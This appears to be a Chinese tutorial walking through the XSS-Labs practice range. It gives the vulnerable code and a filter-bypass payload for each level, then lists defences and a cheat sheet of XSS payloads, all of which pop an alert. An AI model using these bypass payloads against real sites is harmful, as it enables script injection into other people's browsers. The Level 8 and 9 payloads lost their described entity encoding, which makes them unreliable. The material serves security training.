XSS-Labs 靶场详细攻略与XSS攻击技术解析
一、XSS攻击基础概念
1.1 XSS定义与原理
XSS(Cross Site Scripting)跨站脚本攻击是一种针对HTML的注入攻击,其本质是没有遵循数据与代码分离的原则,将用户输入的数据当作代码来执行。
攻击者通过在Web页面中插入恶意脚本代码(包括但不限于JavaScript、Flash等),当用户浏览该页面时,嵌入其中的脚本代码会被执行,从而达到恶意攻击用户的目的。
1.2 XSS分类
- 反射型XSS:非持久化,需要欺骗用户点击包含恶意代码的链接
- 存储型XSS:持久化,恶意代码存储在服务器上
- DOM型XSS:通过修改页面的DOM节点形成XSS
二、XSS-Labs靶场环境搭建
2.1 靶场下载
XSS-Labs靶场GitHub地址:https://github.com/do0dl3/xss-labs
2.2 过关机制
靶场每关的核心目标是让浏览器弹出alert弹窗,成功后会自动跳转到下一关。靶场通过JavaScript实现这一机制:
window.alert = function() {
confirm("完成的不错!");
window.location.href="level2.php?keyword=test"; // 跳转到下一关
}
三、XSS-Labs关卡详解
Level 1:基础注入
漏洞点:无任何过滤,直接输出用户输入
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
Payload:
/level1.php?name=<script>alert(1)</script>
Level 2:HTML实体编码绕过
漏洞点:使用htmlspecialchars函数转义输出,但输入被写入value属性
$str = $_GET["keyword"];
echo "<input name=keyword value="'.$str.'">";
Payload:闭合前面的标签
"><script>alert(1)</script>
Level 3:事件处理器利用
漏洞点:使用htmlspecialchars但默认只编码双引号,单引号不转义
Payload:使用单引号和onclick事件
'onclick='alert(1)
Level 4:过滤尖括号
漏洞点:在Level 3基础上添加了对尖括号的过滤
Payload:使用双引号和onclick事件
" onclick="alert(1)
Level 5:关键字绕过
漏洞点:过滤了"on"和"script"关键字
Payload:使用JavaScript伪协议
"><a href="javascript:alert(1)">click</a>
Level 6:大小写绕过
漏洞点:过滤了多个关键字但未考虑大小写
Payload:混合大小写
"><a HrEf="javascript:alert(1)">click</a>
Level 7:双写绕过
漏洞点:将输入转为小写并替换关键字为空
Payload:双写关键字
"><scscriptript>alert(1)</sscriptcript>
Level 8:HTML字符实体编码
漏洞点:严格过滤但允许HTML实体
Payload:使用HTML实体编码
javascript:alert(1)
Level 9:白名单验证
漏洞点:要求输入必须包含"http://"
Payload:在实体编码后添加注释和http://
javascript:alert(1)//http://
Level 10:隐藏表单利用
漏洞点:输入被隐藏,需要修改type属性
Payload:修改type为text并添加事件
?t_sort=" type="text" onclick="alert('xss')
Level 11-13:HTTP头注入
漏洞点:分别从Referer、User-Agent和Cookie获取输入
Payload:修改相应HTTP头
" type="text" onmousemove="alert(1)
Level 14:EXIF XSS
漏洞点:通过图片EXIF信息触发XSS
解决方案:创建包含XSS payload的图片文件
Level 15:ng-include指令利用
漏洞点:AngularJS的ng-include指令
Payload:包含存在漏洞的页面
http://127.0.0.1/xss-labs-master/level15.php?src='level1.php?name='
Level 16:空格绕过
漏洞点:过滤了空格
Payload:使用%0d或%0a代替空格
Level 17-18:embed标签利用
漏洞点:embed标签拼接漏洞
Payload:通过参数注入事件
?arg01=a&arg02=aaa onmousemove='alert(1)'
Level 19-20:Flash XSS
漏洞点:SWF文件漏洞利用
Payload:
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
四、XSS攻击防御技术
4.1 输入过滤
- 使用
htmlspecialchars函数 - 过滤特殊字符和关键字
- 白名单验证
4.2 输出编码
- HTML实体编码
- JavaScript编码
- URL编码
4.3 其他防御措施
- 设置HttpOnly Cookie
- 使用Content Security Policy (CSP)
- 输入长度限制
五、XSS Payload大全
5.1 基础Payload
<script>alert(1)</script>
<svg/onload=alert(1)>
5.2 编码Payload
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
5.3 事件处理器Payload
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<iframe src=javascript:alert(1)>
5.4 绕过技术Payload
<scr<script>ipt>alert(1)</scr</script>ipt>
<iframe%0asrc=javascript:alert(1)>
5.5 高级Payload
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+"></object>
<script>{onerror=alert}throw 1337</script>
六、总结
XSS攻击的核心在于将用户输入作为代码执行,防御的关键在于严格区分数据与代码。通过XSS-Labs靶场的实践,可以深入理解各种XSS攻击技术和防御方法。实际开发中应采用多层次防御策略,结合输入过滤、输出编码和其他安全措施,才能有效防范XSS攻击。